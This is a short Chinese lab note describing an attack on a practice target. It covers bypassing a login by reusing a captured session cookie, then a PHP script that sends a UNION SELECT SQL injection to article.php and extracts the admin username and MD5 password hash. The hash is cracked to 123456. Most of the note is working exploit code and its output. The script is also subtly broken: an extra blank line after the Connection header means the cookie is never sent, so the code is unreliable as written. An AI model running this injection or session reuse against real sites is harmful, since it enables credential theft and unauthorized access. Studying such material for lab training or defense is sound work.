记一次笔记
fsockopen — 打开一个网络连接或者一个Unix套接字连接
参数:hostname:网址 port:端口 errstr:错误返回信息 timeout:超时时间
靶机登录界面
登录成功界面
如果不登录直接访问main.php的话,是有账号密码验证的,是进不去的
因为界面有session 进行验证
h4pb2rtsfrsihh8h629emrm9s4
所以抓包直接把session放进去试试
这里没有输入账号和密码,直接把session放进去了,直接登录成功
所以开始写exp脚本把~
<?php
#网址
$site="10.32.4.234";
#注入语句
$payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin";
#session
$key ="PHPSESSID=pncn36ctuh4j6alpu9422ofhi1";
#自定义方法,参数为网址、构造的payload、session
function send_http($site,$payload,$key){
#调用php内置函数fsockopen
$fp = fsockopen($site, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
#抓包的内容
$out = "GET /{$payload} HTTP/1.1\r\n";
$out .= "Host:{$site} \r\n";
$out .= "Connection: keep-alive\r\n\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
$out .="Cookie:{$key}\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$resp .= fgets($fp, 1024);
}
fclose($fp);
return $resp;
}
}
#调用函数
$html = send_http($site,$payload,$key);
if($html){
#正则匹配,如果有内容就返回数组为1的内容,否则抛错
preg_match('/~(.*?)~/', $html,$m);
if($m[1]){
echo "[+]{$m[1]}[+]";
}else{
echo "[!]error[!]";
}
}else{
echo "[!]error[!]";
}
?>
执行结果
账号:amdin
密码: e10adc3949ba59abbe56e057f20f883e
这里密码md5的,解密为:123456
跟我们sql手动注入的结果一样